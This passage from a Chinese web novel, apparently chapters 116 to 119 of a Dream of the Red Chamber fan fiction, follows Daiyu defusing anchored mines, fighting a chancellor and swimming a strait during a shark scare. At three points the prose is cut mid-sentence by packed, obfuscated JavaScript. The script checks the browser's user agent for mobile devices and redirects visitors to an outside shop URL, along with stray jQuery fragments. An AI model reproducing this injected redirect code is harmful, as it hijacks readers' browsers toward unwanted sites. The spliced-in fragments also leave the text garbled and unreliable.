晴雯扒在船边,将头探入水下,闭气瞪大了眼睛看,海藻密布的地方,隐约露出了木箱的棱角,拉绳有的被水草海带覆盖,有的被黏土覆盖。辨不出哪些是绳子,哪些是海带。想到黛玉的提醒,若是误触了锚雷引绳,就有粉身碎骨的可能,她也不敢轻举妄动。 天黑之时,晴雯在市集中,夸大其词地散布消息,说在栈桥下发现了整箱黄金,渔女们对此消息嗤之以鼻,只当外乡人少见识。 唯有潜藏在暗处的佛朗机伏兵,会担心有人误触引绳,让爆炸提前发生无法完成任务,而前去查看情况。 晴雯做出寻宝的姿态,腰上捆着绳子,背了凿子、镰刀等利器,提着气死风灯,划船在栈桥四周徘徊找寻。 黛玉则躲在暗处观察可疑人员。一连找了两个晚上,佛朗机国的伏兵才露出了迹象,四个人一直尾随晴雯行动。 隔着一箭之地,晴雯在小船上提灯转身,照在那几个男人脸上,笑问:“情哥哥,你也是来找金子的吗?” 在茜香国“情哥哥”专指有意与女子走婚的男子。 为首的男子冒出头来,装作是巡海兵勇的口吻,威吓她们说:“谁是你情哥哥,这里是北部要港,不许人滞留徘徊,还不速离!” 他心里想的却是:情哥哥可不能乱叫,等哥几个炸了真如密,报了国仇家恨,茜香国成了佛朗机人的领土,看你还叫不叫得出来。 晴雯冲隐身在暗处的黛玉点了点头,黛玉立刻将手里的火镰,抛向了海岸烽堠,烽火即刻次第燃了起来。 “近海有锚雷,敌袭!敌袭!”黛玉将脖子上的贝壳掉转阳面,巨大而清晰的呼喊声瞬间响彻海面。 晴雯立刻拔开小船下的小孔,弃舟登岸,人往栈桥上一滚,消失不见。 那几个男人浑然一惊,听到有猎犬狂吠的声音,顾不得将躲在暗处鸣警的女人干掉,欲抢了寻宝女子的船逃遁。 没曾想,船还没划出三丈远,海水已经从船底漫涌上来。 戍卫港口的女兵很快聚拢过来,将那几个男人擒拿住。 黛玉与晴雯现身出来,对领头的校尉说:“我是少司寇留驻在客舍侦查伏兵的林思政,方才是我点燃了烽火,向诸位鸣警。这几个人是佛朗机国的斥候,他们打算待真宰相归国时,引爆楼船,刺杀宰相及百司。” 校尉不认得她,向身边的人确认了一下她的身份,才缓颊问道:“林姑娘,如何知道这些人是佛朗机伏兵?” 毕竟佛朗机人的体貌特征比较明显,他们头发卷曲,发色以深褐与红棕色为主,瞳孔多为栗色或蓝绿色。这几个人的长相身形,几乎与汉人无异。 黛玉微微皱了皱鼻子,道:“他们虽是汉人形貌,但是从小被佛朗机人虏去,做斥候豢养。佛朗机人的饮食以红肉、洋葱、奶酪和重味酱为主,这些人身上的体味比汉人要重,这是数十年饮食偏好所引起的改变。”长林园里还养着几个俘虏来的佛朗机人炮手,故而她知道。 “原来是这样,林姑娘受教了。我是茜草湾的御侮校尉关千雪。”关校尉向她拱手一揖。 黛玉看了那些伏兵一眼,对关千雪说:“关校尉,他们在栈桥之下埋了数十箱拉绳锚雷,亟待拆除。否则天明后,捕鱼赶海的渔民都有可能误触雷池。还请通宵审问这些斥候,我精通佛朗机语,若有需要,我也可以襄助一二。” 关校尉思量了片刻,事急从权,便道:“也好,林姑娘跟我来。” 经过一番审讯,那些伏兵要么缄口不言,要么胡言乱语。 黛玉直接用佛朗机语与之对话,询问引爆锚雷的引绳有什么特征,伏兵们有所忌惮,用汉语不断岔开话题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062174|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晴雯窥听出部分心声,却因不懂佛朗机语,只能拿汉字音译出来。 黛玉拼读了半天,与晴雯核对了数遍,终于明白了过来是“Onde a terra acaba e o marea”的意思。 翻译成汉语就是:陆止于此,海始于斯。 这是佛朗机诗人所写的诗句,意思是大陆的尽头,海洋的起点。 晴雯将这八个字反复颠倒念了几遍,忽然拍手道:“姑娘,会不会里面暗含了数字,陆就是六,止就是零,始就是拾。” 黛玉摇头道:“就算是数字,你说是从左边数,还是从右边数呢?而况‘止’与‘始’代表着结束与开始,不是零和拾那么简单……” 说着说着,黛玉脑海中灵光一闪,猛地将晴雯一拽,“我知道是什么意思了!” 黛玉对关千雪说:“真宰相名中有一个密字,山如堂者为‘密’,大土山为‘陆’。等于说佛朗机人将真宰相比作陆地,但凡用黏土覆盖的拉绳就是致人于死的锚雷,用海草包裹的拉绳,就是可以安全拆卸锚雷的绳索。” 关千雪闻言与几名副手商讨了片刻,决定先趁夜,派人下海试一试。 经过一番长久地等待,潜下海的水兵,终于冒出头来,说了一句:“没错,割掉海草覆盖的拉绳,就能将锚雷拆卸下来。” 关千雪与黛玉同时松了口气,于是事不宜迟,又接连有一批水兵下潜,将栈桥底下暗藏的锚雷,悉数拆卸,搬运回了岸上。 忙活了一晚上,关千雪看着堆满了整个屋子的锚雷,禁不住头皮发麻,心脏狂跳。 万一没有林姑娘及时示警,她就要与真宰相及数千渔民,在茜草湾共赴黄泉了。 “林姑娘,你救了我们一命!”关千雪感慨万分地说,带着众位水兵向黛玉长揖致谢。 黛玉也不拿大,让他们不必客气,笑道:“我南下茜香国,是为竞选国王之位而来,救护臣民百姓本就是义不容辞的责任。” 水兵们纷纷表示:“若林姑娘能升到朝廷中枢,我们一定选你做国王!” 黛玉也大大方方地向她们致谢。 关千雪吩咐众位将士回去休息,又对黛玉说道:“林姑娘也早点休息吧,我还要写呈文将此事禀报给州牧。” “关校尉,还请留步,”黛玉叫住了她,眸光流转,“与其将这些锚雷交公,空耗船运,还不如借此诱敌深入,一网打尽。从少司寇截获的密信来看,真真国还打着坐收渔利的主意。真真国距茜草湾行程不过半个时辰,他们决不会错过这次抢占茜草湾的机会。我们可以在真宰相到港之前,制造爆炸假象混淆视听,引诱真真国人来袭,而后覆军杀将。” 关千雪抽吸一声,眉头紧锁,内心十分犹豫。这事若办成了,她可以晋升为将军。可万一若办砸了,那就是掉脑袋的事。 能够排除暗杀之锚雷,已经是大功一件了,还需要冒险这么干吗? 黛玉完全理解关千雪犹豫的关节在哪里,她抛出这个主意来,只为试探其志量深浅而已。 关千雪踌躇未决,还是选择打退堂鼓,对黛玉抱拳道:“在下位卑职低,实不敢妄动。” “那太可惜了,我也只好将这个主意,告诉关校尉的上峰了。原本只需二十来个人就能办成的事,如今要百十人来干,还怕行事不密,走漏了消息,反倒做不成了。”黛玉叹了一口气,再也不多言。 沉默了半晌,关千雪凝望暗夜沉黑的海岸,怔怔出神,搔首踟蹰了一番,终是转身扶膝单跪,向黛玉抱拳道:“还请林姑娘教我怎么做!” 117.吾皇黛玉第一百一十七回 破军杀将显身扬名,权贵相疑心存芥蒂 晚秋时节,天公好似发烧郎,热得人汗湿了脊背。沐昭宁拿着一纸花笺,横竖睡不着,在床上辗转了半宿,终于推被坐起。 因为芙蓉诗会的东道不幸辞世,他这张来之不易的邀请函,无法变成羽翼,送他飞到探春的身边,而他明日就要离开京城回滇南去了,连声道别的话,都没有合适的身份说。 沐昭宁不甘心就这样离开,若再不行动,这一夜就要过去了。 秋爽斋中,探春正欲宽衣就寝,却见窗外有轻微的拍打声,她忙唤丫鬟:“侍书、侍书!看看谁在外面?” 见久久无人回应,探春只好自己举着烛台,推窗看去。 却见一个英俊少年冒出头来,食指比在唇边,一脸焦灼地望着自己。 探春眼里闪过惶悚之色,左顾右盼了一会儿,慢慢镇定下来,低声质问他:“沐王爷有何贵干!”她握着灯台的手也在微微发抖,蜡油不住地往下流。 摇曳的烛光照亮了她紧绷的神情,唯恐蜡油烫着了她,沐昭宁伸手替她擎过来,微微一笑:“小王心慕姑娘,相思难眠,不看你一眼,我睡不着。” 探春脸登时如火在烧,心脏怦怦乱跳,失神了许久,才重重摇头道:“你这样夜探闺阁,言语轻薄,又将我的清誉置于何地。” “我也想正大光明地向贾府求亲,奈何府上不幸事多,时机总也不对。”沐昭宁无奈地叹了一口气。 且不说如今上皇丧期未过,林小姐病故不久,再到秋后冬来,贾府大房都要问斩,往后一年都不宜婚嫁。 “这里有一本滇南图记,写了我家的风土人情、美食服侍,姑娘若感兴趣就信手翻翻。”沐昭将一本书搁在了窗台上,对着她笑了一笑,“我明天就回家了,后年春天桃红柳绿的时候,我再来见你。” 探春怔了一下,下意识说了一个“好”字,说完又忙掩住了嘴,连连退步,背向窗外。 隐约的笑声飘过窗扉,烛光跳跃了一会儿,就稳在身后不动了。 听到踏在草地上的脚步声渐行渐远,探春才回过头来,取回烛台,正欲将窗户关好。 忽然窗户又被人大力推开,她身子后仰,已被人环腰搂住,温热的唇落在了她的颊边。 不过恍惚间,少年已经放开了手,眸中闪耀着炙热的光,带着几分欢喜、几分歉意地笑意推窗而去。 “后年春天我一定来!” 探春坐在梳妆台前,对着镜子轻轻叹了口气,满怀思绪如海潮一般,起起伏伏…… 辽阔无边的海面上,涛声阵阵,浪花被楼船的长浆徐徐推开,逶迤出绵长的航迹线。 真宰相的楼船还有两日到港,夕阳西下时,向凌风站在甲板上,看着船尾拖曳的补给船,内心的惶恐更加深重了。 楼船上佛朗机人安设的火药,早被真宰相清理掉了,这让她手里的情报一文不值。回到茜草湾,等待她的不是耀眼功勋,而是擅离职守之罪。 “少司寇。” 听到真宰相的呼唤,向凌风突然打个了寒噤,忙转过脸去,眼里满是悔意。 “宰相大人,您有何吩咐?” 真如密目视前方,嘴角往上一扬,“我们晚一天回港,在离茜草湾三十里的位置设伏。” 向凌风十分意外,又不敢问是伏击谁,只得含糊应了一声“是”。 “是什么是?”真如密的眼中掠过一丝怒火,“你没长脑子吗?茜草湾三十里海面开阔,无一岛屿珊瑚礁,如何隐蔽兵力设伏?凭着半截子谍报你就肆行妄动,还怎么担当重任。” 向凌风浑身一震,慌得跪下,两手撑在甲板上,骨节僵硬地弓起,心里乱成一锅粥。 “全速前进,星夜兼程,明日一早到港。”真如密吩咐下去,在甲板上慢慢踱着步子,喟叹了一声,又回头问:“那个中原来的林思政多大了?” 向凌风身子往后一缩,说:“通关文牒上写的十六。” “十六,真年轻啊……”真如密扬起脸来,如细屑一般的微雨,轻柔地飘在她的眉眼间,唇边一抹微笑,泛着冷雾一般的迷蒙。 向凌风想起她方才得盛怒,此时的温柔仿佛只是她眼中的错觉。 黄昏的逝去,让清晰的海平线渐渐模糊下去,水手们努筋拔力摇撼着船桨,向茜草湾飞驰而去…… 到了天明之时,楼船已经十分接近茜草湾了。向凌风彻夜难眠,突然一阵狂乱的爆响传来,几乎没将她耳膜震破。 她打开舱门,只见海面巨大的火光攀升上来,如擎天火炬一般,大有鲸吞旭日的架势。还没等她看清海上发生了什么,紧接着又是一阵撼天动地的爆炸声。 楼船上下一阵剧烈的摇晃,若非把着舱门,向凌风只怕已经跌倒了。 拼命摇桨的水手们从橹口附近,被惯力甩了出来,滑向船尾。海水卷着浪花,如涛山一般气势磅礴地压上甲板。 虽然这突如其来的冲击波,还不至于到樯倾楫摧的地步,但是楼船在摇摆之间,已经隐隐听到了船身板条咯咯作响的声音。刺鼻的硝烟弥散开来,火药的粉末飘洒如雨。 真如密披头散发,从船舱中奔出,穿着睡裙逆风而行,拽住缆绳,攀上桅杆,大吼:“右转舵!快!” 听到宰相指挥,水手们再次匍匐向橹口,拼命扳住长桨,调转方向。 向凌风眼见,船尾堪堪划出一道扇形,险险避过了一阵从天而降的碎木条雨。 楼船终于平安驶离了硝烟弥漫的漩涡,所有人极目眺望地熟悉的港口,陷入了片刻的呆滞,仿佛大梦初醒后,见到世界颠倒的样子。 一阵雀跃的欢声回荡在海面上。 “袭港贼寇,已尽伏诛!” 向凌风听到关千雪的声音,扶舷下望,只见楼船之下,一叶扁舟上,关千雪倒卷双袖,坐在前面持桨棹舟,她身后还站着林思政。 她一身雨过天青色的简素绸裙,发髻仅用一支白珠簪绾住,碎发随风飘荡,在朝阳的映照下,更显得恍若神妃,耀眼夺目。 小舟渐渐靠近,真如密回头望去,不禁呆住。那立于舟中的少女肤色欺霜赛雪,光洁莹润,罥烟眉长,含情转盼。襟带飘拂间,灵动万分,好似从云端走下来的仙女,不染凡尘,美丽不可方物。 向凌风满目疑惑,又见宰相与自己形容狼狈,站在楚楚动人的林姑娘面前,越发有相形见绌之感。 真如密让人放下软梯,让她们两人登上楼船。 黛玉把着软梯,一个腾空侧翻,跃上了甲板。 人还未站稳,真如密就迎面劈掌而来,黛玉以软梯为绳,一招金丝缠腕相抵,转身飞腿将其踹倒。 真如密没曾想她在抵御的同时,已经出招相搏,想要腾身还击,又被她双腕剪喉,抵在了桅杆上。 向凌风犹豫着要不要上前协助宰相,却见关千雪好整以暇地抱臂旁观。 “何时学的这等功夫!”真如密一面冲拳突破,一面厉声质问。 “去年!”黛玉旋身闪避,不防真如密变拳为爪,拔掉了她头上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079714|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白瓷珠簪,捏成齑粉。 黛玉错愕不已,一头乌发飘落下来,迎风骀荡。 真如密拍了拍手上灰,冷笑道:“怎么,用瓷珠来标榜高洁、诚孝,这品味也未免太廉价了。” 白色的瓷屑飘摇下去,黛玉一双通红的眼,透着倔强与愤怒的火苗,她嗫嚅着唇,想要说些什么,却又咬紧牙关一言不发。 就算得到一句“抱歉”,获赔一支一样的簪子,又有何意义呢? 陪伴她十年,寄托了对母亲哀思的白瓷珠簪,与她的眼泪一样,终究是回不来了。 真如密沉默了半晌,敲了敲身后的桅杆,问她:“小姑娘,你说如果这船上损坏的木板,逐渐用新板修补替换,直到所有的木板都不是原来的木板,那这艘船,还是原来的那艘船吗?” 黛玉心中微动,思考了一会儿,反问真如密:“如果将这船的木板及钉铆全部拆下来,再用这些重新打造一条新船,那新船与原来的船一样吗?” 二人彼此互望,凝睇对视,谁也没有说话。 这世上万事万物,都在刹那生灭,相续无常中。与其说物是人非,不如说物非人也非。其实,都不一样了。 关千雪见两人已经打过照面,赶紧走过来向真如密汇报情况,表功请赏。 “宰相大人,卑职是驻守茜草湾的御侮校尉关千雪。前日林姑娘在栈桥下发现了佛朗机人埋伏的拉绳锚雷,又协助我们抓获了佛朗机伏兵,侦讯俘虏后安全拆除了锚雷。 因佛朗机人设伏意欲袭击宰相及百司的事,被真真国斥候获悉,意图坐收渔利抢占茜草湾。 林姑娘建议我们利用这些锚雷,制造楼船已经爆炸的假象,放走真真国的斥候,引诱真真国敌寇来犯,趁机一网打尽。 如此我们才能兵不血刃地捣毁真真国的三艘舰船,歼敌六百五十人,缴获佛朗机大炮五门,火铳一百二十条,箭矢三万羽。” 真如密听了,朗声大笑:“好!不枉我担了一惊。” 当即擢升关千雪为从五品游击将军,关千雪喜形于色,幸好她赌对了人。 向凌风在一旁听着,后悔得不行,她为何要抛下林姑娘独自行动呢! 一时不忿关千雪连升六级,向凌风便以为林思政抱不平的口吻,对真如密说:“真宰相,此次大捷,全凭林姑娘智略果敢,论理她当居首功才对。” 黛玉挑眉看了她一眼,抿嘴冷笑。 真如密笑了两声,转头问黛玉:“林姑娘,你是为参选国王而来,不如我投你一票,如何?” 向凌风舌桥不下,真如密一旦承诺给林姑娘投票,就意味着只要她经过地方行政的考验,能顺利进入朝堂中枢,就是下一任的王。 黛玉拱手一揖,眸光流转,笑得格外自信:“我别无他求,若真宰相能最后一个投票,不影响百姓判断,这个王我才当得名正言顺不是么?” 真如密的目光黯了黯,有些不悦地说:“小姑娘太过自命不凡,有时候会招灾惹恨,得不偿失。” 关千雪不由为黛玉担心,只要真如密散布一两句话出去,任何人的考选之路都会事半功倍,林姑娘却不屑一顾。 还如此毫不留情地讽刺宰相干预选拔结果。岂不知得罪权臣,相当于自绝坦途,偏走歧路。 海风吹走了硝烟的余味,只剩清鲜的凉意,黛玉迎风而立,抬眸注视着东升的太阳。 “我相信‘因即果,果即因’,是成为国王的使命召唤我而来。得失进退,乃至生死存亡,都不在我考虑的范围内。” 118.吾皇黛玉第一百一十八回 战袍亮相惊艳眼眸,横渡海峡鲛鲨搅局 此次茜草湾大捷,算得上是茜香国有史以来第一次,紧凭自身力量痛快地报复了敌国。而茜香国大选在即,真真国又不敢在这个当下一雪前耻,一旦逾越雷池,中原五万驻军就会对真真国宣战。 林思政的名字,随着四处布告的捷报不胫而走。不少人都知道了,这个年仅十六岁的小姑娘是来参选国王的。 因宗主国上皇驾崩,此次茜香国大选延后了百日,又让不少履职恰满三年的官员,追加了报名。 其中就有与向凌风多生龃龉的少宗伯章德方。向凌风吃过一次亏,又见宿敌撞了大运,心中更是郁闷不忿。 她再不敢小瞧林思政,主动引领林姑娘到报名点,登记姓名绘影图存档,并送上了自己三次文考的题目,以供参考。 希望借林思政之手,让章德方再次与王位失之交臂。毕竟上回大选,章德方离王位只有一步之遥。 黛玉扫了一眼就把题目放下,只问她要了历任国王的详细资料。向凌风又忙不迭地为她整理了出来。 一页页翻去,黛玉重点关注的是前任国王的政绩,以及为何能赢得民众的信赖。 关千雪因林思政之计而升官,自然也将宝押在了林思政身上,又将几个强劲的竞争对手资料送了过来。 黛玉并不关心,只是请她送了茜香国五岛十州的地方志过来。 而晴雯也没有闲着,做起来擅长的针线活,照着黛玉往日的尺寸,缝制了棉质的胡服劲装,又做了两双轻软的鹿皮靴子。 黛玉阖上地方志对晴雯说:“这里多山路、沙滩,若要在户外考较武艺,鞋履还应该多考虑对足弓的支撑、稳固耐磨、抗扭伤。可以仿制蹑钉靴,鞋帮不要高过小腿,并加系带稳固。” 晴雯根据黛玉的建议,即刻改良了衣履足衣,黛玉试穿了几日,觉得又合脚又稳当。晴雯便多做了几双鞋子,供她每日晨起打拳跑步时换着穿。为了应对武考,黛玉每日足襄三斤沙袋,行走坐卧都不卸下。 研究了数日的资料后,武考的日期及考核内容已经公布了。 武考一共有五关,连考五天,均为淘汰制。 第一关:环岛长跑,淘汰三分之二人。 第二关:横渡海峡,淘汰五分之三人。 第三关:近身搏战,淘汰一半人。 第四关:火铳射击,淘汰一半人。 第五关:分两组山林地骑兵对战,获胜一方即为武考通关,拥有文考的资格。 向凌风见了这样的考核设置,不由打怵,这比自己从前经历的任一次武考都要难。 黛玉也没料到,最初的武考就这样关卡重重,于她而言最难的就是第二关,需要在短期内学会游泳。 茜香国的原住民人人都会游泳,三岁而能涉,五岁而能浮,十而能没矣。 而她只有落水的经验,禛钰会游泳但不精,而况她从没有用禛钰的身体练习过,等于还是不会。 当黛玉请求关千雪找个人教她游泳的时候,关千雪一个屁股蹲就坐地下去了。 “我押了五十两银子赌你当国王,你却告诉我,你连游泳都不会!还有十天就要横渡海峡了,四十里的海,你要怎么过去?” 黛玉面不改色地说:“我听人说只要七天就能学会游泳,不还多了三天嘛。” 关千雪完全听不见她的话了,两手按着自己的太阳穴,懊悔不迭地说:“你知不知道五十两银子在这里都可以买房了!” “只要我不沉下去,就会过关的啦,不会让关将军赔本的。”黛玉毫不心虚地说。 关千雪牢骚了一阵子,只得叫来她手下一个善泅者,教林思政游泳。 黛玉拉上晴雯一起,开始学习游泳,时间紧迫,也只能学速度最快的爬泳。 理论上掌握了要诀,实际练习中,两人却屡屡呛水沉底,看得教头连连摇头。这样的水平,游出半里都勉强,如何横渡海峡呢。 晴雯被水淹怕了,坐在岸边,抱着膝头直哭,再不敢下水了。 黛玉鼓励她道:“人与水相搏,如同对战,不怕的人才会赢。与其受困于我会沉下的恐惧与焦虑中,不如全副精神放在如何浮起来,游出去。”说罢,她就再次回身游动起来。 好在度过了最初的五天,她的两臂轮流划水的动作已经舒展开来,不再有惊惶下沉的情况了。晴雯受了黛玉的感召,也渐渐克服了下水的恐惧感,适应了游泳的节奏。 到了第七天的时候,黛玉已经能游出十里的距离,但是速度依然远远落后于普通人。 黛玉见速度已经没有再提升的可能,为了节省体力,也不强求。 四十里横渡海峡,普通人顺利游过去,需要三个时辰左右。速度只是其中之一的考核项,最关键的是耐力,和应对海上突发状况的能力。 考核细则里写了除了随身衣物,还可以带一些补充体力的食物和水,但这些东西的重量不得超过一斤。 晴雯发现这里渔女下海游泳只穿一条缠腰布,上半身不着寸缕,完全露出红铜色的皮肤,不由担心地问:“姑娘,游泳那天你也要‘入乡随俗’吗?” 黛玉蹙眉道:“总归不能露太多,上身至少也要穿个背心罢。若是有拉力强劲的布料,做成极贴身上下一体的泳衣,就再好不过了。” “拉力强的布料,我所知道的只有丝绸了。”晴雯一边说,一边拿尺在纸上画着图样,“姑娘想要的是这样的泳衣么?” 黛玉细细看了看,说:“形制比较相近了,只是裤腿半长就行了,不能及膝,肩带的位置也不可太宽,避免影响划臂。” 晴雯又改抹了几遍,剪出的纸样却不理想。 黛玉想了想说:“这衣服一定不是平面的,要根据人体曲线裁剪缝线。” 晴雯找来黏土,比照林姑娘的身形,缩小了尺寸,捏出一个小人来。 再用纸覆在小人身上,将纸剪碎了再拼接起来,最后才定了版。 纸样立体了,布样再依样缝制,立体泳衣的雏形也就出来了。 裁剪缝了一晌午,晴雯就将黛玉想要的泳衣做了出来。 黛玉穿了那杏黄色的泳衣出来,扯了扯领口说:“领口要往上提一点,胸前再放两寸的量,绷得有点紧。” 晴雯抬眼看去,玉山高处,雪峰欲倾,一张小脸登时红透了,微吸了一口气道:“姑娘,我再改改,只怕劲装也得放量了。” 她一边拿着皮尺给黛玉重新量体,一边小声嘀咕:“怎么就这么大了?” 黛玉想起禛钰曾在她耳畔笑言:“情思这一捧软玉暖雪,日渐其丰,爱煞我也……”登时羞红满面,浑身燥热起来。 晴雯尴尬不已,轻声提醒她:“姑娘,你不要再想了,我听得见的……” “啊!” 待晴雯做好了所有衣履鞋袜,武考第一关开始了。 参选国王的女子人数,高达一万五千余人,分在五个小岛上。 海滩上设了一条半里长的起跑线,三千人同时起跑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096697|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚然站位先后全靠抽签号牌决定,有先有后,无法保证绝对公平。 黛玉卸下了绑腿的沙袋,穿上了轻便耐磨的蹑钉鞋,她幸运地分到了最小的一个岛上,环岛一圈只要二十公里,但是起跑的位置比较靠后。 只要跑赢两千人,就算通关了。黛玉以不气喘的速度跑过半程,到了后半场才逐渐发力,足追四马,最后以第二百二十名的成绩,轻松通过了第一关。 第二日横渡海峡,五千人一齐下水。所有携带的补给食物都要在秤锤上过秤,不得超过一斤。 黛玉让晴雯准备了一大葫芦红糖水,里面加了补中益气丸。若是半途体力不支,就把糖水喝掉,让葫芦的浮力,发挥济涉腰舟的作用,支撑自己游下去。 当黛玉穿着一身杏黄泳衣站在沙滩上时,引起了一阵不小的骚动。 原因无他,黛玉的皮肤雪白,身材高挑,与一群个头矮小、肤色古铜的姑娘们站在一起,仿佛鹤立鸡群,对比太鲜明了。 更何况她的泳衣,造型别致,上下连体,无一丝缀余,光滑的丝绸面料,仿佛贴肤而生,致使玲珑的曲线毕现,极为惹眼。 黛玉将洪音贝壳挂在颈上,万一出现险情,也好发声求助。 在众人好奇惊艳的目光中,黛玉泰然自若,回头对着船头的晴雯说:“等明儿你开个裁缝铺,专卖这种泳衣,保管赚钱。” 晴雯抱着棉被和手炉,笑嘻嘻地说:“我早想到了,前儿已经进了几匹料子了。” 有姑娘这样出色的人,给她当招牌衣样,那她还不赚得盆满钵满。 火铳声响起,姑娘们齐刷刷跳下海去,黛玉将葫芦背在背上,奋力地向海峡对岸游去。 虽说四十里地距离不小,但因为岸线还在视线范围内,就让黛玉心安不已。 只要有个明确的目标,一门心思向着目标前进就好。 因为海面极阔,又有南风相阻,所有人都不可能以直线距离达到终点,难免会绕远途,多耗精力。 正午时分,很多游过半程的人开始渐缓向前,补给食物。当地姑娘带的都是鱼干、肉干之类的,一时间海面上都是油腥食物的鲜咸味。 而黛玉才刚划过第一个十里,远远落人于后,显然无法成为两千个通关者中的一个。 关千雪在岸边急得直跺脚,恨不能抛下靴子,一个猛子扎进去,替她竞渡。 忽然海面上波浪如山涌起,海涛簸荡,游泳的姑娘们被掀天白浪,推向了起点,反倒落到了黛玉身旁。 众人正不知所措之时,海中跃起一尊仿若楼船之高的大鱼,灰蓝色的鱼身遮天蔽日,张开丈余长的大口,露出一圈白森森的三角尖牙,鳍呈镰旗,鱼尾似剪。 “鲛鲨!” “海中狼来了!” “快逃!” 海中的人们接二连三地惊呼起来,调转方向奋臂拨浪,用最快的速度往岸线游去。岸边等候的人纷纷站起,摇旗呐喊,放声示警。 黛玉平生第一次见到这样的庞然大物,瞳孔猛烈地收缩,心脏砰砰直跳。 她没来得及补给糖水,以至于嘴唇早已惨白,牙齿无法自抑地打颤,手脚不住地战栗着,难以遏制的恐惧让她魂飞魄荡,惊惶无措。手臂忘了划水,两腿也不知踏浪,全靠葫芦将她拖曳着,才露出脖子。 身边的姑娘们个个展臂振筋,在水中扑涌,急踵翻波,渐行渐远。 “还愣着干什么,快逃命啊!鲛鲨要吃人的!”一条猿臂横过来,将黛玉往海上拖了一把。 119.吾皇黛玉第一百一十九回 飞来运万幸通关卡,洋装女射靶逞威胁 黛玉呛了一口海水,醒过神来,挣脱了那妇人的手臂,重新振作起来,继续向彼岸游去。 她于巨大的鲛鲨而言,无异于蝼蚁之于大象,它未必能注意到小小的自己。 茜香国是女儿国,却并非女儿们的天堂,这里山多地少,田产有限。 海啸、飓风、地动、水旱、冰雪却时常有之。何况四面强敌环伺,八方海寇频侵,哪一样不比鲛鲨恐怖,逃避是没有用的。 黛玉勉强游到中程,将葫芦里的糖水一饮而尽,使得空葫芦的浮力更大了一些。 然而糖水的补给,并未有效缓解黛玉虚耗的体力,她的划水动作还是越来越慢。 鲛鲨的长尾就在黛玉三丈远的地方左右摆荡,滚动的波涛一会儿将她推远,一会儿将她拉近。 原本将要弃赛的姑娘们,见到鲛鲨并未对人发起攻击,又纷纷调转身来,继续向终点岸线游去,很快又追至黛玉身前。 突然,大鱼再次跃出海面,洪波涌起,碎浪碰撞,在海风的助推下,滔天巨浪蓄势待发。 黛玉与其他几个姑娘被怒涛卷起,在极大的冲击力下,飞向了彼岸…… 先落地的姑娘重重地撞在了岩石上,登时鲜血奔流,被人救起,抬了下去。 晴雯张大了嘴巴,预估黛玉的落点,慌忙将棉被铺在岩石上,张开手臂试图接住她。 谁知黛玉落在了近海处,离海岸还有一箭之遥。黛玉坠入海中,靠着葫芦的浮力,慢慢蹬水攀升上来,终于爬上了沙滩。 “姑娘!”晴雯激动得哭起来,抱着她不肯撒手,“吓死我了,那么大的鲛鲨,那么高的海浪,万一你有个闪失,教我怎么办呢……” 监考官过来给她发了通关牌,记录了她的姓名,啧啧感慨道:“林思政,你运气真好!” 黛玉疲惫地笑了笑,什么话也说不出。 晴雯忙将参片放在黛玉舌下含着,让她捧住手炉,用大毛毡替她擦干水渍,再拿棉被盖在她身上保温。 棉被早被太阳晒得热烘烘的,黛玉身上渐渐回暖,苍白的脸上也恢复了血色。 见黛玉的手脚已经暖了,晴雯又拿来一套衣裙,从被子底下塞进去,“姑娘,把衣服换了吧。” 黛玉躲在棉被下将衣裳换了,站在岸上观战,鲛鲨还在海中不停地腾身游弋,它虽不袭击人,但对横渡海峡的姑娘们而言,却是不小的威胁。 她能顺利到岸,真的靠运气了。 眼见三个时辰就能完成的竞渡,已经拖延到了下晌,姑娘们大多耗尽了补给和体力,再过不久恐怕有汐潮要来。 此时鲛鲨震声强噪,宛如牛叫,只把晴雯逗笑了:“这鲛鲨叫得怎么跟野牛似的。” 黛玉忽然想起禛钰对她说过,她的小贝壳打开来,会发出海猪的声音,可以驱赶鲛鲨。 方才在水里只顾游泳,一时没想起来。她连忙奔到海边,打开颈项上的贝壳。 吱呀的啾声响起,是高峭的哨音,清透空灵,穿透云霄,仿佛天外之音。 鲛鲨起初并未注意到这样的声音,直到远处的海面上数百只海猪腾身跳跃,嬉声在海风中呼啸,它才收敛了嚣张的气焰。 虽说鲛鲨形如海中横行霸道的狼,但它们最怕的就是成群结队的海猪。天敌将至,鲛鲨也只得灰溜溜地走了。 黛玉将小贝壳阖上,那些海猪也跳跃着,渐行渐远了。 汐潮伴着黄昏渐渐涌上来,海面中数千女子奋臂争先,勇敢地迎潮而上,潮水将她们打退一次,她们挥膀再来,出入波涛中,一次又一次冲向终点。 黛玉忽然想,茜香国饱经忧患,久历风浪,还能国祚绵延,必是因为一代又一代的女儿们,用力挽狂澜的勇气,不屈不挠的精神战胜了所有的艰难险阻。 